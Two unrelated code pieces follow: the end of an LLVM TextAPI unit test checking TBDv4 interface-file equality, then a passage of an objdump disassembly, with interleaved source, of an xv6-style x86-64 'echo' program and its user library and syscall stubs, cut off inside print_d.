TextAPIReader::get(MemoryBufferRef(TBDv4File, "TestA.tbd"));
EXPECT_TRUE(!!ResultA);
InterfaceFile FileA = std::move(*ResultA.get());
Expected<TBDFile> ResultB =
TextAPIReader::get(MemoryBufferRef(TBDv3File, "TestB.tbd"));
EXPECT_TRUE(!!ResultB);
InterfaceFile FileB = std::move(*ResultB.get());
EXPECT_NE(FileA.uuids(), FileB.uuids());
EXPECT_TRUE(FileA == FileB);
}
TEST(TBDv4, InterfaceInequality) {
static const char TBDv4File[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ i386-macos, x86_64-macos ]\n"
"install-name: Umbrella.framework/Umbrella\n"
"...\n";
Expected<TBDFile> ResultA =
TextAPIReader::get(MemoryBufferRef(TBDv4File, "TestA.tbd"));
EXPECT_TRUE(!!ResultA);
InterfaceFile FileA = std::move(*ResultA.get());
Expected<TBDFile> ResultB =
TextAPIReader::get(MemoryBufferRef(TBDv4File, "TestB.tbd"));
EXPECT_TRUE(!!ResultB);
InterfaceFile FileB = std::move(*ResultB.get());
EXPECT_TRUE(checkEqualityOnTransform(FileA, FileB, [](InterfaceFile *File) {
File->addTarget(Target(AK_x86_64, PLATFORM_IOS));
}));
EXPECT_TRUE(checkEqualityOnTransform(FileA, FileB, [](InterfaceFile *File) {
File->setCurrentVersion(PackedVersion(1, 2, 3));
File->setCompatibilityVersion(PackedVersion(1, 0, 0));
}));
EXPECT_TRUE(checkEqualityOnTransform(
FileA, FileB, [](InterfaceFile *File) { File->setSwiftABIVersion(5); }));
EXPECT_TRUE(checkEqualityOnTransform(FileA, FileB, [](InterfaceFile *File) {
File->setTwoLevelNamespace(false);
}));
EXPECT_TRUE(checkEqualityOnTransform(
FileA, FileB, [](InterfaceFile *File) { File->setInstallAPI(true); }));
EXPECT_TRUE(checkEqualityOnTransform(FileA, FileB, [](InterfaceFile *File) {
File->setApplicationExtensionSafe(false);
}));
EXPECT_TRUE(checkEqualityOnTransform(FileA, FileB, [](InterfaceFile *File) {
File->addParentUmbrella(Target(AK_x86_64, PLATFORM_MACOS), "System.dylib");
}));
EXPECT_TRUE(checkEqualityOnTransform(FileA, FileB, [](InterfaceFile *File) {
File->addAllowableClient("ClientA", Target(AK_i386, PLATFORM_MACOS));
}));
EXPECT_TRUE(checkEqualityOnTransform(FileA, FileB, [](InterfaceFile *File) {
File->addReexportedLibrary("/System/Library/Frameworks/A.framework/A",
Target(AK_i386, PLATFORM_MACOS));
}));
EXPECT_TRUE(checkEqualityOnTransform(FileA, FileB, [](InterfaceFile *File) {
File->addSymbol(SymbolKind::GlobalSymbol, "_symA",
{Target(AK_x86_64, PLATFORM_MACOS)});
}));
EXPECT_TRUE(checkEqualityOnTransform(FileA, FileB, [](InterfaceFile *File) {
InterfaceFile Document;
Document.addTargets(TargetList{Target(AK_i386, PLATFORM_MACOS),
Target(AK_x86_64, PLATFORM_MACOS)});
Document.setInstallName("/System/Library/Frameworks/A.framework/A");
File->addDocument(std::make_shared<InterfaceFile>(std::move(Document)));
}));
}
} // end namespace TBDv4
|
_echo: file format elf64-x86-64
Disassembly of section .text:
0000000000001000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
1000: f3 0f 1e fa endbr64
1004: 55 push %rbp
1005: 48 89 e5 mov %rsp,%rbp
1008: 48 83 ec 20 sub $0x20,%rsp
100c: 89 7d ec mov %edi,-0x14(%rbp)
100f: 48 89 75 e0 mov %rsi,-0x20(%rbp)
int i;
for(i = 1; i < argc; i++)
1013: c7 45 fc 01 00 00 00 movl $0x1,-0x4(%rbp)
101a: eb 61 jmp 107d <main+0x7d>
printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n");
101c: 8b 45 fc mov -0x4(%rbp),%eax
101f: 83 c0 01 add $0x1,%eax
1022: 39 45 ec cmp %eax,-0x14(%rbp)
1025: 7e 0c jle 1033 <main+0x33>
1027: 48 b8 e0 1d 00 00 00 movabs $0x1de0,%rax
102e: 00 00 00
1031: eb 0a jmp 103d <main+0x3d>
1033: 48 b8 e2 1d 00 00 00 movabs $0x1de2,%rax
103a: 00 00 00
103d: 8b 55 fc mov -0x4(%rbp),%edx
1040: 48 63 d2 movslq %edx,%rdx
1043: 48 8d 0c d5 00 00 00 lea 0x0(,%rdx,8),%rcx
104a: 00
104b: 48 8b 55 e0 mov -0x20(%rbp),%rdx
104f: 48 01 ca add %rcx,%rdx
1052: 48 8b 12 mov (%rdx),%rdx
1055: 48 89 c1 mov %rax,%rcx
1058: 48 be e4 1d 00 00 00 movabs $0x1de4,%rsi
105f: 00 00 00
1062: bf 01 00 00 00 mov $0x1,%edi
1067: b8 00 00 00 00 mov $0x0,%eax
106c: 49 b8 cb 16 00 00 00 movabs $0x16cb,%r8
1073: 00 00 00
1076: 41 ff d0 callq *%r8
for(i = 1; i < argc; i++)
1079: 83 45 fc 01 addl $0x1,-0x4(%rbp)
107d: 8b 45 fc mov -0x4(%rbp),%eax
1080: 3b 45 ec cmp -0x14(%rbp),%eax
1083: 7c 97 jl 101c <main+0x1c>
exit();
1085: 48 b8 d4 13 00 00 00 movabs $0x13d4,%rax
108c: 00 00 00
108f: ff d0 callq *%rax
0000000000001091 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
1091: f3 0f 1e fa endbr64
1095: 55 push %rbp
1096: 48 89 e5 mov %rsp,%rbp
1099: 48 83 ec 10 sub $0x10,%rsp
109d: 48 89 7d f8 mov %rdi,-0x8(%rbp)
10a1: 89 75 f4 mov %esi,-0xc(%rbp)
10a4: 89 55 f0 mov %edx,-0x10(%rbp)
asm volatile("cld; rep stosb" :
10a7: 48 8b 4d f8 mov -0x8(%rbp),%rcx
10ab: 8b 55 f0 mov -0x10(%rbp),%edx
10ae: 8b 45 f4 mov -0xc(%rbp),%eax
10b1: 48 89 ce mov %rcx,%rsi
10b4: 48 89 f7 mov %rsi,%rdi
10b7: 89 d1 mov %edx,%ecx
10b9: fc cld
10ba: f3 aa rep stos %al,%es:(%rdi)
10bc: 89 ca mov %ecx,%edx
10be: 48 89 fe mov %rdi,%rsi
10c1: 48 89 75 f8 mov %rsi,-0x8(%rbp)
10c5: 89 55 f0 mov %edx,-0x10(%rbp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
10c8: 90 nop
10c9: c9 leaveq
10ca: c3 retq
00000000000010cb <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
10cb: f3 0f 1e fa endbr64
10cf: 55 push %rbp
10d0: 48 89 e5 mov %rsp,%rbp
10d3: 48 83 ec 20 sub $0x20,%rsp
10d7: 48 89 7d e8 mov %rdi,-0x18(%rbp)
10db: 48 89 75 e0 mov %rsi,-0x20(%rbp)
char *os;
os = s;
10df: 48 8b 45 e8 mov -0x18(%rbp),%rax
10e3: 48 89 45 f8 mov %rax,-0x8(%rbp)
while((*s++ = *t++) != 0)
10e7: 90 nop
10e8: 48 8b 55 e0 mov -0x20(%rbp),%rdx
10ec: 48 8d 42 01 lea 0x1(%rdx),%rax
10f0: 48 89 45 e0 mov %rax,-0x20(%rbp)
10f4: 48 8b 45 e8 mov -0x18(%rbp),%rax
10f8: 48 8d 48 01 lea 0x1(%rax),%rcx
10fc: 48 89 4d e8 mov %rcx,-0x18(%rbp)
1100: 0f b6 12 movzbl (%rdx),%edx
1103: 88 10 mov %dl,(%rax)
1105: 0f b6 00 movzbl (%rax),%eax
1108: 84 c0 test %al,%al
110a: 75 dc jne 10e8 <strcpy+0x1d>
;
return os;
110c: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
1110: c9 leaveq
1111: c3 retq
0000000000001112 <strcmp>:
int
strcmp(const char *p, const char *q)
{
1112: f3 0f 1e fa endbr64
1116: 55 push %rbp
1117: 48 89 e5 mov %rsp,%rbp
111a: 48 83 ec 10 sub $0x10,%rsp
111e: 48 89 7d f8 mov %rdi,-0x8(%rbp)
1122: 48 89 75 f0 mov %rsi,-0x10(%rbp)
while(*p && *p == *q)
1126: eb 0a jmp 1132 <strcmp+0x20>
p++, q++;
1128: 48 83 45 f8 01 addq $0x1,-0x8(%rbp)
112d: 48 83 45 f0 01 addq $0x1,-0x10(%rbp)
while(*p && *p == *q)
1132: 48 8b 45 f8 mov -0x8(%rbp),%rax
1136: 0f b6 00 movzbl (%rax),%eax
1139: 84 c0 test %al,%al
113b: 74 12 je 114f <strcmp+0x3d>
113d: 48 8b 45 f8 mov -0x8(%rbp),%rax
1141: 0f b6 10 movzbl (%rax),%edx
1144: 48 8b 45 f0 mov -0x10(%rbp),%rax
1148: 0f b6 00 movzbl (%rax),%eax
114b: 38 c2 cmp %al,%dl
114d: 74 d9 je 1128 <strcmp+0x16>
return (uchar)*p - (uchar)*q;
114f: 48 8b 45 f8 mov -0x8(%rbp),%rax
1153: 0f b6 00 movzbl (%rax),%eax
1156: 0f b6 d0 movzbl %al,%edx
1159: 48 8b 45 f0 mov -0x10(%rbp),%rax
115d: 0f b6 00 movzbl (%rax),%eax
1160: 0f b6 c0 movzbl %al,%eax
1163: 29 c2 sub %eax,%edx
1165: 89 d0 mov %edx,%eax
}
1167: c9 leaveq
1168: c3 retq
0000000000001169 <strlen>:
uint
strlen(char *s)
{
1169: f3 0f 1e fa endbr64
116d: 55 push %rbp
116e: 48 89 e5 mov %rsp,%rbp
1171: 48 83 ec 18 sub $0x18,%rsp
1175: 48 89 7d e8 mov %rdi,-0x18(%rbp)
int n;
for(n = 0; s[n]; n++)
1179: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
1180: eb 04 jmp 1186 <strlen+0x1d>
1182: 83 45 fc 01 addl $0x1,-0x4(%rbp)
1186: 8b 45 fc mov -0x4(%rbp),%eax
1189: 48 63 d0 movslq %eax,%rdx
118c: 48 8b 45 e8 mov -0x18(%rbp),%rax
1190: 48 01 d0 add %rdx,%rax
1193: 0f b6 00 movzbl (%rax),%eax
1196: 84 c0 test %al,%al
1198: 75 e8 jne 1182 <strlen+0x19>
;
return n;
119a: 8b 45 fc mov -0x4(%rbp),%eax
}
119d: c9 leaveq
119e: c3 retq
000000000000119f <memset>:
void*
memset(void *dst, int c, uint n)
{
119f: f3 0f 1e fa endbr64
11a3: 55 push %rbp
11a4: 48 89 e5 mov %rsp,%rbp
11a7: 48 83 ec 10 sub $0x10,%rsp
11ab: 48 89 7d f8 mov %rdi,-0x8(%rbp)
11af: 89 75 f4 mov %esi,-0xc(%rbp)
11b2: 89 55 f0 mov %edx,-0x10(%rbp)
stosb(dst, c, n);
11b5: 8b 55 f0 mov -0x10(%rbp),%edx
11b8: 8b 4d f4 mov -0xc(%rbp),%ecx
11bb: 48 8b 45 f8 mov -0x8(%rbp),%rax
11bf: 89 ce mov %ecx,%esi
11c1: 48 89 c7 mov %rax,%rdi
11c4: 48 b8 91 10 00 00 00 movabs $0x1091,%rax
11cb: 00 00 00
11ce: ff d0 callq *%rax
return dst;
11d0: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
11d4: c9 leaveq
11d5: c3 retq
00000000000011d6 <strchr>:
char*
strchr(const char *s, char c)
{
11d6: f3 0f 1e fa endbr64
11da: 55 push %rbp
11db: 48 89 e5 mov %rsp,%rbp
11de: 48 83 ec 10 sub $0x10,%rsp
11e2: 48 89 7d f8 mov %rdi,-0x8(%rbp)
11e6: 89 f0 mov %esi,%eax
11e8: 88 45 f4 mov %al,-0xc(%rbp)
for(; *s; s++)
11eb: eb 17 jmp 1204 <strchr+0x2e>
if(*s == c)
11ed: 48 8b 45 f8 mov -0x8(%rbp),%rax
11f1: 0f b6 00 movzbl (%rax),%eax
11f4: 38 45 f4 cmp %al,-0xc(%rbp)
11f7: 75 06 jne 11ff <strchr+0x29>
return (char*)s;
11f9: 48 8b 45 f8 mov -0x8(%rbp),%rax
11fd: eb 15 jmp 1214 <strchr+0x3e>
for(; *s; s++)
11ff: 48 83 45 f8 01 addq $0x1,-0x8(%rbp)
1204: 48 8b 45 f8 mov -0x8(%rbp),%rax
1208: 0f b6 00 movzbl (%rax),%eax
120b: 84 c0 test %al,%al
120d: 75 de jne 11ed <strchr+0x17>
return 0;
120f: b8 00 00 00 00 mov $0x0,%eax
}
1214: c9 leaveq
1215: c3 retq
0000000000001216 <gets>:
char*
gets(char *buf, int max)
{
1216: f3 0f 1e fa endbr64
121a: 55 push %rbp
121b: 48 89 e5 mov %rsp,%rbp
121e: 48 83 ec 20 sub $0x20,%rsp
1222: 48 89 7d e8 mov %rdi,-0x18(%rbp)
1226: 89 75 e4 mov %esi,-0x1c(%rbp)
int i, cc;
char c;
for(i=0; i+1 < max; ){
1229: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
1230: eb 4f jmp 1281 <gets+0x6b>
cc = read(0, &c, 1);
1232: 48 8d 45 f7 lea -0x9(%rbp),%rax
1236: ba 01 00 00 00 mov $0x1,%edx
123b: 48 89 c6 mov %rax,%rsi
123e: bf 00 00 00 00 mov $0x0,%edi
1243: 48 b8 fb 13 00 00 00 movabs $0x13fb,%rax
124a: 00 00 00
124d: ff d0 callq *%rax
124f: 89 45 f8 mov %eax,-0x8(%rbp)
if(cc < 1)
1252: 83 7d f8 00 cmpl $0x0,-0x8(%rbp)
1256: 7e 36 jle 128e <gets+0x78>
break;
buf[i++] = c;
1258: 8b 45 fc mov -0x4(%rbp),%eax
125b: 8d 50 01 lea 0x1(%rax),%edx
125e: 89 55 fc mov %edx,-0x4(%rbp)
1261: 48 63 d0 movslq %eax,%rdx
1264: 48 8b 45 e8 mov -0x18(%rbp),%rax
1268: 48 01 c2 add %rax,%rdx
126b: 0f b6 45 f7 movzbl -0x9(%rbp),%eax
126f: 88 02 mov %al,(%rdx)
if(c == '\n' || c == '\r')
1271: 0f b6 45 f7 movzbl -0x9(%rbp),%eax
1275: 3c 0a cmp $0xa,%al
1277: 74 16 je 128f <gets+0x79>
1279: 0f b6 45 f7 movzbl -0x9(%rbp),%eax
127d: 3c 0d cmp $0xd,%al
127f: 74 0e je 128f <gets+0x79>
for(i=0; i+1 < max; ){
1281: 8b 45 fc mov -0x4(%rbp),%eax
1284: 83 c0 01 add $0x1,%eax
1287: 39 45 e4 cmp %eax,-0x1c(%rbp)
128a: 7f a6 jg 1232 <gets+0x1c>
128c: eb 01 jmp 128f <gets+0x79>
break;
128e: 90 nop
break;
}
buf[i] = '\0';
128f: 8b 45 fc mov -0x4(%rbp),%eax
1292: 48 63 d0 movslq %eax,%rdx
1295: 48 8b 45 e8 mov -0x18(%rbp),%rax
1299: 48 01 d0 add %rdx,%rax
129c: c6 00 00 movb $0x0,(%rax)
return buf;
129f: 48 8b 45 e8 mov -0x18(%rbp),%rax
}
12a3: c9 leaveq
12a4: c3 retq
00000000000012a5 <stat>:
int
stat(char *n, struct stat *st)
{
12a5: f3 0f 1e fa endbr64
12a9: 55 push %rbp
12aa: 48 89 e5 mov %rsp,%rbp
12ad: 48 83 ec 20 sub $0x20,%rsp
12b1: 48 89 7d e8 mov %rdi,-0x18(%rbp)
12b5: 48 89 75 e0 mov %rsi,-0x20(%rbp)
int fd;
int r;
fd = open(n, O_RDONLY);
12b9: 48 8b 45 e8 mov -0x18(%rbp),%rax
12bd: be 00 00 00 00 mov $0x0,%esi
12c2: 48 89 c7 mov %rax,%rdi
12c5: 48 b8 3c 14 00 00 00 movabs $0x143c,%rax
12cc: 00 00 00
12cf: ff d0 callq *%rax
12d1: 89 45 fc mov %eax,-0x4(%rbp)
if(fd < 0)
12d4: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
12d8: 79 07 jns 12e1 <stat+0x3c>
return -1;
12da: b8 ff ff ff ff mov $0xffffffff,%eax
12df: eb 2f jmp 1310 <stat+0x6b>
r = fstat(fd, st);
12e1: 48 8b 55 e0 mov -0x20(%rbp),%rdx
12e5: 8b 45 fc mov -0x4(%rbp),%eax
12e8: 48 89 d6 mov %rdx,%rsi
12eb: 89 c7 mov %eax,%edi
12ed: 48 b8 63 14 00 00 00 movabs $0x1463,%rax
12f4: 00 00 00
12f7: ff d0 callq *%rax
12f9: 89 45 f8 mov %eax,-0x8(%rbp)
close(fd);
12fc: 8b 45 fc mov -0x4(%rbp),%eax
12ff: 89 c7 mov %eax,%edi
1301: 48 b8 15 14 00 00 00 movabs $0x1415,%rax
1308: 00 00 00
130b: ff d0 callq *%rax
return r;
130d: 8b 45 f8 mov -0x8(%rbp),%eax
}
1310: c9 leaveq
1311: c3 retq
0000000000001312 <atoi>:
int
atoi(const char *s)
{
1312: f3 0f 1e fa endbr64
1316: 55 push %rbp
1317: 48 89 e5 mov %rsp,%rbp
131a: 48 83 ec 18 sub $0x18,%rsp
131e: 48 89 7d e8 mov %rdi,-0x18(%rbp)
int n;
n = 0;
1322: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
while('0' <= *s && *s <= '9')
1329: eb 28 jmp 1353 <atoi+0x41>
n = n*10 + *s++ - '0';
132b: 8b 55 fc mov -0x4(%rbp),%edx
132e: 89 d0 mov %edx,%eax
1330: c1 e0 02 shl $0x2,%eax
1333: 01 d0 add %edx,%eax
1335: 01 c0 add %eax,%eax
1337: 89 c1 mov %eax,%ecx
1339: 48 8b 45 e8 mov -0x18(%rbp),%rax
133d: 48 8d 50 01 lea 0x1(%rax),%rdx
1341: 48 89 55 e8 mov %rdx,-0x18(%rbp)
1345: 0f b6 00 movzbl (%rax),%eax
1348: 0f be c0 movsbl %al,%eax
134b: 01 c8 add %ecx,%eax
134d: 83 e8 30 sub $0x30,%eax
1350: 89 45 fc mov %eax,-0x4(%rbp)
while('0' <= *s && *s <= '9')
1353: 48 8b 45 e8 mov -0x18(%rbp),%rax
1357: 0f b6 00 movzbl (%rax),%eax
135a: 3c 2f cmp $0x2f,%al
135c: 7e 0b jle 1369 <atoi+0x57>
135e: 48 8b 45 e8 mov -0x18(%rbp),%rax
1362: 0f b6 00 movzbl (%rax),%eax
1365: 3c 39 cmp $0x39,%al
1367: 7e c2 jle 132b <atoi+0x19>
return n;
1369: 8b 45 fc mov -0x4(%rbp),%eax
}
136c: c9 leaveq
136d: c3 retq
000000000000136e <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
136e: f3 0f 1e fa endbr64
1372: 55 push %rbp
1373: 48 89 e5 mov %rsp,%rbp
1376: 48 83 ec 28 sub $0x28,%rsp
137a: 48 89 7d e8 mov %rdi,-0x18(%rbp)
137e: 48 89 75 e0 mov %rsi,-0x20(%rbp)
1382: 89 55 dc mov %edx,-0x24(%rbp)
char *dst, *src;
dst = vdst;
1385: 48 8b 45 e8 mov -0x18(%rbp),%rax
1389: 48 89 45 f8 mov %rax,-0x8(%rbp)
src = vsrc;
138d: 48 8b 45 e0 mov -0x20(%rbp),%rax
1391: 48 89 45 f0 mov %rax,-0x10(%rbp)
while(n-- > 0)
1395: eb 1d jmp 13b4 <memmove+0x46>
*dst++ = *src++;
1397: 48 8b 55 f0 mov -0x10(%rbp),%rdx
139b: 48 8d 42 01 lea 0x1(%rdx),%rax
139f: 48 89 45 f0 mov %rax,-0x10(%rbp)
13a3: 48 8b 45 f8 mov -0x8(%rbp),%rax
13a7: 48 8d 48 01 lea 0x1(%rax),%rcx
13ab: 48 89 4d f8 mov %rcx,-0x8(%rbp)
13af: 0f b6 12 movzbl (%rdx),%edx
13b2: 88 10 mov %dl,(%rax)
while(n-- > 0)
13b4: 8b 45 dc mov -0x24(%rbp),%eax
13b7: 8d 50 ff lea -0x1(%rax),%edx
13ba: 89 55 dc mov %edx,-0x24(%rbp)
13bd: 85 c0 test %eax,%eax
13bf: 7f d6 jg 1397 <memmove+0x29>
return vdst;
13c1: 48 8b 45 e8 mov -0x18(%rbp),%rax
}
13c5: c9 leaveq
13c6: c3 retq
00000000000013c7 <fork>:
mov $SYS_ ## name, %rax; \
mov %rcx, %r10 ;\
syscall ;\
ret
SYSCALL(fork)
13c7: 48 c7 c0 01 00 00 00 mov $0x1,%rax
13ce: 49 89 ca mov %rcx,%r10
13d1: 0f 05 syscall
13d3: c3 retq
00000000000013d4 <exit>:
SYSCALL(exit)
13d4: 48 c7 c0 02 00 00 00 mov $0x2,%rax
13db: 49 89 ca mov %rcx,%r10
13de: 0f 05 syscall
13e0: c3 retq
00000000000013e1 <wait>:
SYSCALL(wait)
13e1: 48 c7 c0 03 00 00 00 mov $0x3,%rax
13e8: 49 89 ca mov %rcx,%r10
13eb: 0f 05 syscall
13ed: c3 retq
00000000000013ee <pipe>:
SYSCALL(pipe)
13ee: 48 c7 c0 04 00 00 00 mov $0x4,%rax
13f5: 49 89 ca mov %rcx,%r10
13f8: 0f 05 syscall
13fa: c3 retq
00000000000013fb <read>:
SYSCALL(read)
13fb: 48 c7 c0 05 00 00 00 mov $0x5,%rax
1402: 49 89 ca mov %rcx,%r10
1405: 0f 05 syscall
1407: c3 retq
0000000000001408 <write>:
SYSCALL(write)
1408: 48 c7 c0 10 00 00 00 mov $0x10,%rax
140f: 49 89 ca mov %rcx,%r10
1412: 0f 05 syscall
1414: c3 retq
0000000000001415 <close>:
SYSCALL(close)
1415: 48 c7 c0 15 00 00 00 mov $0x15,%rax
141c: 49 89 ca mov %rcx,%r10
141f: 0f 05 syscall
1421: c3 retq
0000000000001422 <kill>:
SYSCALL(kill)
1422: 48 c7 c0 06 00 00 00 mov $0x6,%rax
1429: 49 89 ca mov %rcx,%r10
142c: 0f 05 syscall
142e: c3 retq
000000000000142f <exec>:
SYSCALL(exec)
142f: 48 c7 c0 07 00 00 00 mov $0x7,%rax
1436: 49 89 ca mov %rcx,%r10
1439: 0f 05 syscall
143b: c3 retq
000000000000143c <open>:
SYSCALL(open)
143c: 48 c7 c0 0f 00 00 00 mov $0xf,%rax
1443: 49 89 ca mov %rcx,%r10
1446: 0f 05 syscall
1448: c3 retq
0000000000001449 <mknod>:
SYSCALL(mknod)
1449: 48 c7 c0 11 00 00 00 mov $0x11,%rax
1450: 49 89 ca mov %rcx,%r10
1453: 0f 05 syscall
1455: c3 retq
0000000000001456 <unlink>:
SYSCALL(unlink)
1456: 48 c7 c0 12 00 00 00 mov $0x12,%rax
145d: 49 89 ca mov %rcx,%r10
1460: 0f 05 syscall
1462: c3 retq
0000000000001463 <fstat>:
SYSCALL(fstat)
1463: 48 c7 c0 08 00 00 00 mov $0x8,%rax
146a: 49 89 ca mov %rcx,%r10
146d: 0f 05 syscall
146f: c3 retq
0000000000001470 <link>:
SYSCALL(link)
1470: 48 c7 c0 13 00 00 00 mov $0x13,%rax
1477: 49 89 ca mov %rcx,%r10
147a: 0f 05 syscall
147c: c3 retq
000000000000147d <mkdir>:
SYSCALL(mkdir)
147d: 48 c7 c0 14 00 00 00 mov $0x14,%rax
1484: 49 89 ca mov %rcx,%r10
1487: 0f 05 syscall
1489: c3 retq
000000000000148a <chdir>:
SYSCALL(chdir)
148a: 48 c7 c0 09 00 00 00 mov $0x9,%rax
1491: 49 89 ca mov %rcx,%r10
1494: 0f 05 syscall
1496: c3 retq
0000000000001497 <dup>:
SYSCALL(dup)
1497: 48 c7 c0 0a 00 00 00 mov $0xa,%rax
149e: 49 89 ca mov %rcx,%r10
14a1: 0f 05 syscall
14a3: c3 retq
00000000000014a4 <getpid>:
SYSCALL(getpid)
14a4: 48 c7 c0 0b 00 00 00 mov $0xb,%rax
14ab: 49 89 ca mov %rcx,%r10
14ae: 0f 05 syscall
14b0: c3 retq
00000000000014b1 <sbrk>:
SYSCALL(sbrk)
14b1: 48 c7 c0 0c 00 00 00 mov $0xc,%rax
14b8: 49 89 ca mov %rcx,%r10
14bb: 0f 05 syscall
14bd: c3 retq
00000000000014be <sleep>:
SYSCALL(sleep)
14be: 48 c7 c0 0d 00 00 00 mov $0xd,%rax
14c5: 49 89 ca mov %rcx,%r10
14c8: 0f 05 syscall
14ca: c3 retq
00000000000014cb <uptime>:
SYSCALL(uptime)
14cb: 48 c7 c0 0e 00 00 00 mov $0xe,%rax
14d2: 49 89 ca mov %rcx,%r10
14d5: 0f 05 syscall
14d7: c3 retq
00000000000014d8 <aread>:
SYSCALL(aread)
14d8: 48 c7 c0 16 00 00 00 mov $0x16,%rax
14df: 49 89 ca mov %rcx,%r10
14e2: 0f 05 syscall
14e4: c3 retq
00000000000014e5 <putc>:
#include <stdarg.h>
static void
putc(int fd, char c)
{
14e5: f3 0f 1e fa endbr64
14e9: 55 push %rbp
14ea: 48 89 e5 mov %rsp,%rbp
14ed: 48 83 ec 10 sub $0x10,%rsp
14f1: 89 7d fc mov %edi,-0x4(%rbp)
14f4: 89 f0 mov %esi,%eax
14f6: 88 45 f8 mov %al,-0x8(%rbp)
write(fd, &c, 1);
14f9: 48 8d 4d f8 lea -0x8(%rbp),%rcx
14fd: 8b 45 fc mov -0x4(%rbp),%eax
1500: ba 01 00 00 00 mov $0x1,%edx
1505: 48 89 ce mov %rcx,%rsi
1508: 89 c7 mov %eax,%edi
150a: 48 b8 08 14 00 00 00 movabs $0x1408,%rax
1511: 00 00 00
1514: ff d0 callq *%rax
}
1516: 90 nop
1517: c9 leaveq
1518: c3 retq
0000000000001519 <print_x64>:
static char digits[] = "0123456789abcdef";
static void
print_x64(int fd, addr_t x)
{
1519: f3 0f 1e fa endbr64
151d: 55 push %rbp
151e: 48 89 e5 mov %rsp,%rbp
1521: 48 83 ec 20 sub $0x20,%rsp
1525: 89 7d ec mov %edi,-0x14(%rbp)
1528: 48 89 75 e0 mov %rsi,-0x20(%rbp)
int i;
for (i = 0; i < (sizeof(addr_t) * 2); i++, x <<= 4)
152c: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
1533: eb 35 jmp 156a <print_x64+0x51>
putc(fd, digits[x >> (sizeof(addr_t) * 8 - 4)]);
1535: 48 8b 45 e0 mov -0x20(%rbp),%rax
1539: 48 c1 e8 3c shr $0x3c,%rax
153d: 48 ba 20 21 00 00 00 movabs $0x2120,%rdx
1544: 00 00 00
1547: 0f b6 04 02 movzbl (%rdx,%rax,1),%eax
154b: 0f be d0 movsbl %al,%edx
154e: 8b 45 ec mov -0x14(%rbp),%eax
1551: 89 d6 mov %edx,%esi
1553: 89 c7 mov %eax,%edi
1555: 48 b8 e5 14 00 00 00 movabs $0x14e5,%rax
155c: 00 00 00
155f: ff d0 callq *%rax
for (i = 0; i < (sizeof(addr_t) * 2); i++, x <<= 4)
1561: 83 45 fc 01 addl $0x1,-0x4(%rbp)
1565: 48 c1 65 e0 04 shlq $0x4,-0x20(%rbp)
156a: 8b 45 fc mov -0x4(%rbp),%eax
156d: 83 f8 0f cmp $0xf,%eax
1570: 76 c3 jbe 1535 <print_x64+0x1c>
}
1572: 90 nop
1573: 90 nop
1574: c9 leaveq
1575: c3 retq
0000000000001576 <print_x32>:
static void
print_x32(int fd, uint x)
{
1576: f3 0f 1e fa endbr64
157a: 55 push %rbp
157b: 48 89 e5 mov %rsp,%rbp
157e: 48 83 ec 20 sub $0x20,%rsp
1582: 89 7d ec mov %edi,-0x14(%rbp)
1585: 89 75 e8 mov %esi,-0x18(%rbp)
int i;
for (i = 0; i < (sizeof(uint) * 2); i++, x <<= 4)
1588: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
158f: eb 36 jmp 15c7 <print_x32+0x51>
putc(fd, digits[x >> (sizeof(uint) * 8 - 4)]);
1591: 8b 45 e8 mov -0x18(%rbp),%eax
1594: c1 e8 1c shr $0x1c,%eax
1597: 89 c2 mov %eax,%edx
1599: 48 b8 20 21 00 00 00 movabs $0x2120,%rax
15a0: 00 00 00
15a3: 89 d2 mov %edx,%edx
15a5: 0f b6 04 10 movzbl (%rax,%rdx,1),%eax
15a9: 0f be d0 movsbl %al,%edx
15ac: 8b 45 ec mov -0x14(%rbp),%eax
15af: 89 d6 mov %edx,%esi
15b1: 89 c7 mov %eax,%edi
15b3: 48 b8 e5 14 00 00 00 movabs $0x14e5,%rax
15ba: 00 00 00
15bd: ff d0 callq *%rax
for (i = 0; i < (sizeof(uint) * 2); i++, x <<= 4)
15bf: 83 45 fc 01 addl $0x1,-0x4(%rbp)
15c3: c1 65 e8 04 shll $0x4,-0x18(%rbp)
15c7: 8b 45 fc mov -0x4(%rbp),%eax
15ca: 83 f8 07 cmp $0x7,%eax
15cd: 76 c2 jbe 1591 <print_x32+0x1b>
}
15cf: 90 nop
15d0: 90 nop
15d1: c9 leaveq
15d2: c3 retq
00000000000015d3 <print_d>:
static void
print_d(int fd, int v)
{
15d3: f3 0f 1e fa endbr64
15d7: 55 push %rbp
15d8: 48 89 e5 mov %rsp,%rbp
15db: 48 83 ec 30 sub $0x30,%rsp
15df: 89 7d dc mov %edi,-0x24(%rbp)
15e2: 89 75 d8 mov %esi,-0x28(%rbp)
char buf[16];
int64 x = v;
15e5: 8b 45 d8 mov -0x28(%rbp),%eax
15e8: 48 98 cltq
15ea: 48 89 45 f8 mov %rax,-0x8(%rbp)
if (v < 0)
15ee: 83 7d d8 00 cmpl $0x0,-0x28(%rbp)
15f2: 79 04 jns 15f8 <print_d+0x25>
x = -x;
15f4: 48 f7 5d f8 negq -0x8(%rbp)
int i = 0;
15f8: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%rbp)
do {
buf[i++] = digits[x % 10];
15ff: 48 8b 4d f8 mov -0x8(%rbp),%rcx
1603: 48 ba 67 66 66 66 66 movabs $0x6666666666666667,%rdx
160a: 66 66 66
160d: 48 89 c8 mov %rcx,%rax
1610: 48 f7 ea imul %rdx
1613: 48 c1 fa 02 sar $0x2,%rdx
1617: 48 89 c8 mov %rcx,%rax
161a: 48 c1 f8 3f sar $0x3f,%rax
161e: 48 29 c2 sub %rax,%rdx
1621: 48 89 d0 mov %rdx,%rax
